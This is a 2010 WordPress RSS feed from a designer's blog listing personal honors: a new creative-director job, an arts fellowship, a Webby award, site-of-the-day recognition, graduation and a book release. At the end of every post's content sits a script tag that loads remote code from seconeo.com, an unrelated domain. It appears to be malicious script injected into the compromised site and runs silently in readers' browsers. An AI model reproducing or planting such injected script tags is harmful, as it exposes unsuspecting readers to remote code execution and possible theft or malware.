<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>labs.hapticdata.com &#187; honors</title>
	<atom:link href="http://labs.hapticdata.com/category/honors/feed/" rel="self" type="application/rss+xml" />
	<link>http://labs.hapticdata.com</link>
	<description></description>
	<lastBuildDate>Wed, 11 Aug 2010 20:39:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Phase Shifts</title>
		<link>http://labs.hapticdata.com/2010/04/phase-shifts/</link>
		<comments>http://labs.hapticdata.com/2010/04/phase-shifts/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 17:30:44 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[honors]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[yworlds]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=552</guid>
		<description><![CDATA[My recent past has been full of transition and I&#8217;m very excited to announce the recent changes in my life. Recently&#8230; I participated in the Twin Cities Maker Minne-Faire; I stayed up for more than 24 hours straight with a group of talented friends building a website for Child Protection International (new site not up [...]]]></description>
			<content:encoded><![CDATA[<p>My recent past has been full of transition and I&#8217;m very excited to announce the recent changes in my life. Recently&#8230; I participated in the <a href="http://www.tcmaker.org/blog/">Twin Cities Maker</a> Minne-Faire; I stayed up for more than 24 hours straight with a group of talented friends building a website for <a href="http://childprotectioninternational.org">Child Protection International</a> <em>(new site not up as of time of writing this)</em> during my second year taking part of the <a href="http://overnightwebsitechallenge.com/">Overnight Website Challenge</a>, and the very next day I started my new career.</p>
<p>On March 22nd, I began my new role as the Director of Creative Development at <a href="http://www.yworlds.com">Y Worlds</a>. It doesn&#8217;t look like much yet, but it will, I promise. We are a lean team on a highly-aspirational objective, more on that at a later date. To boil it down, I am in charge of the creative direction of our company, our goal is to aid in the transference of knowledge through interactivity and the development of knowledge visualization systems. Their have been a lot of bad decisions made in the world, decisions that don&#8217;t express equality or nurturing for self and others, we want to change that by educating people in a way that is easier to understand and entertaining, for an intelligently-derived future for all.</p>
<p>Below is an image of <a href="http://yworlds.com">yworlds.com</a> as it exists now. It will be interesting to look back at this in the future. I look forward to sharing more with everyone soon, our first visibility will come in the summer.</p>
<p><span id="more-552"></span></p>
<p>
The title of this post was borrowed from an exhibition a couple of my friends had recently. <a href="http://benmoren.com">Ben Moren</a> and <a href="http://tylerstefanich.com">Tyler Stefanich</a> exhibited site-specific works addressing the transition from Winter to Spring, more information at the <a href="http://www.theywontfindushere.com/index.php?/pastshows/phase-shifts/">They Won&#8217;t Find us Here Gallery</a>.<br />
<div id="attachment_553" class="wp-caption alignnone" style="width: 650px"><a href="http://yworlds.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/04/Google-Chrome.jpg" alt="" title="Yworlds.com" width="640" height="283" class="size-full wp-image-553" /></a><p class="wp-caption-text">Y Worlds as of April 17, 2010</p></div></p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2010/04/phase-shifts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Art(ists) on the Verge Fellowship</title>
		<link>http://labs.hapticdata.com/2010/01/artists-on-the-verge-fellowship/</link>
		<comments>http://labs.hapticdata.com/2010/01/artists-on-the-verge-fellowship/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 01:22:57 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[art]]></category>
		<category><![CDATA[honors]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[2010]]></category>
		<category><![CDATA[fellowship]]></category>
		<category><![CDATA[northern lights]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=472</guid>
		<description><![CDATA[I am one of five recipients of the <a href="http://northern.lights.mn">Northern Lights</a> organization's <a href="http://northern.lights.mn/2009/12/aov2-fellows-selected/">Art(ists) on the Verge Fellowship</a> funded by the <a href="http://www.jeromefdn.org/">Jerome Foundation</a>. ]]></description>
			<content:encoded><![CDATA[<p>It was announced on Friday, December 18th that I am one of five recipients of the <a href="http://northern.lights.mn">Northern Lights</a> organization&#8217;s <a href="http://northern.lights.mn/2009/12/aov2-fellows-selected/">Art(ists) on the Verge Fellowship</a> funded by the <a href="http://www.jeromefdn.org/">Jerome Foundation</a>. Art(ists) on the Verge is administered by <a href="http://www.google.com/search?client=safari&#038;rls=en&#038;q=steve+dietz&#038;ie=UTF-8&#038;oe=UTF-8">Steve Dietz</a>, the founding director of <a href="http://zero1.org/">Zero1 San Jose Artists Bienalle</a> and previously the founding director of New Media Initiatives at the <a href="http://walkerart.org">Walker Art Center</a>. This fellowship is aimed towards those working at the edge of art and technology, predominantly in a public space and this year there is an additional emphasis on networks.</p>
<p>
I am looking forward to being a part of such a great program and am very excited to have received this opportunity. For the next nine months, I will be focused on working towards my goal of creating an installation space that encompasses a sense of memory and identity. The fellowship culminates in opportunities to present work at this years <a href="http://spark.cla.umn.edu/">SparkFest</a> in October.
</p>
<p><span id="more-472"></span></p>
<p>
Visual synopsis of the five fellows:<br/><br />
<a href="http://www.arlenebirt.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/arlene.jpg" alt="" title="Arlene" width="128" height="85" class="alignnone size-full wp-image-480" /></a><a href="http://web.me.com/jjtrinket/J-J_Trinkets_Double-Jointed_Festival_Series/Performance.html"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/janaka.jpg" alt="" title="Janaka" width="128" height="85" class="alignnone size-full wp-image-481" /></a><a href="http://workofkylephillips.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/personplace.jpg" alt="" title="myself" width="128" height="85" class="alignnone size-full wp-image-482" /></a><a href="http://www.tylerstefanich.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/tyler.jpg" alt="" title="Tyler" width="128" height="85" class="alignnone size-full wp-image-483" /></a><a href="http://www.tectonic-industries.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/tec.jpg" alt="" title="Tectonic Industries" width="128" height="85" class="alignnone size-full wp-image-484" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2010/01/artists-on-the-verge-fellowship/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yearbook Yourself wins a People&#8217;s Voice Webby</title>
		<link>http://labs.hapticdata.com/2009/06/yearbook-yourself-wins-a-peoples-voice-webby/</link>
		<comments>http://labs.hapticdata.com/2009/06/yearbook-yourself-wins-a-peoples-voice-webby/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 14:52:15 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[honors]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=254</guid>
		<description><![CDATA[A couple weeks ago, Yearbook Yourself was awarded the Webby&#8217;s &#8220;People&#8217;s Voice Award.&#8221; Online users voted for our project as their favorite online viral campaign of 2008. This win showed us that budget is not necessarily a determining factor of success. We were up against some big competition, including The Dark Knight&#8217;s, &#8220;Why So Serious?&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>A couple weeks ago, <a href="http://www.yearbookyourself.com" target="_blank">Yearbook Yourself</a> was awarded the <a href="http://www.webbyawards.com" target="_blank">Webby&#8217;s</a> &#8220;People&#8217;s Voice Award.&#8221; Online users voted for our project as their favorite online viral campaign of 2008. This win showed us that budget is not necessarily a determining factor of success. We were up against some big competition, including The Dark Knight&#8217;s, &#8220;Why So Serious?&#8221; campaign. I look forward to seeing our August launch of Yearbook Yourself 2009.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/06/yearbook-yourself-wins-a-peoples-voice-webby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.Net Magazine ♥ Snowdin</title>
		<link>http://labs.hapticdata.com/2009/02/net-magazine/</link>
		<comments>http://labs.hapticdata.com/2009/02/net-magazine/#comments</comments>
		<pubDate>Wed, 04 Feb 2009 22:38:34 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[honors]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=117</guid>
		<description><![CDATA[<a href="http://www.netmag.co.uk/" target="_blank">.Net Magazine</a> has selected <a href="http://www.snowdin.com" target="_blank">Snowdin.com</a> as the <em>"Hottest Website of the Month."</em> I received an email today with <a href="http://twitpic.com/1burv">a link to a picture of the spread</a>, posted by Tom O'Neill]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.netmag.co.uk/" target="_blank">.Net Magazine</a> has selected <a href="http://www.snowdin.com" target="_blank">Snowdin.com</a> as the <em>&#8220;Hottest Website of the Month.&#8221;</em> I received an email today with <a href="http://twitpic.com/1burv">a link to a picture of the spread</a>, posted by Tom O&#8217;Neill of <a href="http://www.sierra-bravo.com/" target="_blank">Sierra Bravo</a> on his TwitPic. I&#8217;m happy to see such appreciation for the work that I have been apart of at <a href="http://www.collemcvoy.com" target="_blank">Colle+McVoy</a>. In a medium where you don&#8217;t tend to hear much from your audience, it is always refreshing to hear a response.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/02/net-magazine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snowdin.com on FWA</title>
		<link>http://labs.hapticdata.com/2009/01/snowdincom-on-fwa/</link>
		<comments>http://labs.hapticdata.com/2009/01/snowdincom-on-fwa/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 16:55:00 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[honors]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=79</guid>
		<description><![CDATA[This holiday season, Colle + McVoy created an internal project called Snowdin. <a href="http://www.snowdin.com">Snowdin.com</a> is a website created in Anaglyph 3D (red + blue 3d glasses),  on December 25th Snowdin received an FWA award.]]></description>
			<content:encoded><![CDATA[<p>This holiday season, Colle + McVoy created an internal project called Snowdin. <a href="http://www.snowdin.com">Snowdin.com</a> is a website created in Anaglyph 3D (red + blue 3d glasses): </p>
<p><em>To help relieve the stresses of the holiday season, we created a winter retreat at snowdin.com. There you can frolic with a yeti, pilot a blimp or deliver the evening post to the town folk. No need for long johns or an electric blanket. All you&#8217;ll need is your 3-D glasses.</em></p>
<p>I developed the main site, the shell that holds all of the content. My friend / co-worker Andrew Charon developed the awesome Mount FrostBite Q*Bert game and we had some help from PopLife with some other games. The whole site is sprinkled with downloads and activities.</p>
<p>On December 25th, Snowdin.com received an <a href="http://www.thefwa.com">FWA Site of the Day</a> award, so we are all very pleased with the sites success.</p>
<p><a href="http://labs.hapticdata.com/wp-content/uploads/2009/01/snowdin_fwa1.jpg"><img src="http://labs.hapticdata.com/wp-content/uploads/2009/01/snowdin_fwa1.jpg" alt="" title="snowdin_fwa1" width="500" height="333" class="border alignnone size-full wp-image-86" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/01/snowdincom-on-fwa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Now an Official MCAD Alumni</title>
		<link>http://labs.hapticdata.com/2008/12/now-an-official-mcad-alumni/</link>
		<comments>http://labs.hapticdata.com/2008/12/now-an-official-mcad-alumni/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 07:00:13 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[honors]]></category>
		<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=75</guid>
		<description><![CDATA[On December 12th I graduated from the Minneapolis College of Art and Design. I received my Bachelor of Fine Arts in Interactive Media. And look, to welcome me as an alumni I got a slick 1GB USB Drive.]]></description>
			<content:encoded><![CDATA[<p>Well its actually been more than a week now, I&#8217;m still waiting for the intended slower pace to kick in. On December 12th I graduated from the Minneapolis College of Art and Design. I received my Bachelor of Fine Arts in Interactive Media. And look, to welcome me as an alumni I got a slick 1GB USB Drive. My project What Matters Most went off very well, I managed to get some good documentation and hope to have its content posted soon.</p>
<p><img src="http://labs.hapticdata.com/wp-content/uploads/2008/12/alumnithumbdrive.jpg" alt="" title="alumnithumbdrive" width="500" height="333" class="border alignnone size-full wp-image-76" /><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2008/12/now-an-official-mcad-alumni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vormator book release</title>
		<link>http://labs.hapticdata.com/2008/11/vormator-book-release/</link>
		<comments>http://labs.hapticdata.com/2008/11/vormator-book-release/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 20:26:26 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[art]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[honors]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[generative]]></category>
		<category><![CDATA[publications]]></category>
		<category><![CDATA[vormator]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=61</guid>
		<description><![CDATA[In May of 2007 I participated in an experiment titled  <em>Vormator: The Elements of Design</em>. After 18 months, the book has been released, featuring the work of 80 artists.]]></description>
			<content:encoded><![CDATA[<p>In May of 2007 I participated in an experiment titled  <em>Vormator: The Elements of Design</em>. The brief was to build an artwork using only the 8 vector shapes that they provide you with.  My concept was to use these eight shapes in the development of my<a title="Generative Compositonal Engine" href="http://engine.haptic-data.com" target="_self"> Generative Compositional Engine</a>, an application that algorithmically creates artwork based on compositional rules.</p>
<p>After 18 months the book, featuring the work of 80 artists,  is now officially released. You can view sample pages and order online at <a title="vormator" href="http://www.vormator.com" target="_blank">vormator.com</a>.</p>
<p>
<a href="http://flickr.com/photos/zeptonn/"><img src="http://labs.hapticdata.com/wp-content/uploads/2008/11/vormator_book.jpg" alt="" title="vormator book" width="500" height="333" class="border alignnone size-full wp-image-63" /></a>
</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2008/11/vormator-book-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
